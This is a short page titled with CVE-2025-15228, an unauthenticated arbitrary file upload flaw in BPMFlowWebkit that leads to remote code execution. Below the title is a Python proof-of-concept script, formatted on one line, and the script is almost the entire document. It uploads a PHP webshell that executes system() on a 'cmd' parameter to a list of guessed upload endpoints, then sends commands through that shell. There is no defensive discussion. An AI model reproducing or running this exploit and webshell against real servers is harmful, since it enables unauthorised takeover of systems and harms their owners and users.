CVE-2025-15228：BPMFlowWebkit存在任意文件上传漏洞导致远程代码执行

import requests import sys # CVE-2025-15228 PoC - BPMFlowWebkit Arbitrary File Upload # Target: BPMFlowWebkit by WELLTEND TECHNOLOGY # Vulnerability: Unauthenticated arbitrary file upload leading to RCE def upload_webshell(target_url, webshell_content): """ Upload malicious webshell to vulnerable BPMFlowWebkit server """ # Construct upload endpoint (common paths for BPMFlowWebkit) upload_paths = [ '/upload', '/file/upload', '/bpm/upload', '/api/upload', '/admin/upload' ] for path in upload_paths: upload_url = target_url.rstrip('/') + path files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: # Try to find the uploaded file path if 'upload' in response.text.lower() or 'success' in response.text.lower(): print(f'[+] Possible upload success at: {upload_url}') print(f'[+] Response: {response.text[:500]}') return True except requests.exceptions.RequestException as e: print(f'[-] Error on {upload_url}: {e}') return False def execute_command(shell_url, command): """ Execute system command via uploaded webshell """ try: params = {'cmd': command} response = requests.get(shell_url, params=params, timeout=10) return response.text except Exception as e: return f'Error: {e}' if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-15228.py <target_url>') sys.exit(1) target = sys.argv[1] # PHP webshell content webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' print('[*] CVE-2025-15228 - BPMFlowWebkit Arbitrary File Upload RCE') print(f'[*] Target: {target}') print('[*] Uploading webshell...') if upload_webshell(target, webshell): print('[+] Webshell uploaded successfully') print('[+] Example: python cve-2025-15228.py <shell_url>?cmd=whoami') else: print('[-] Upload failed or target may not be vulnerable')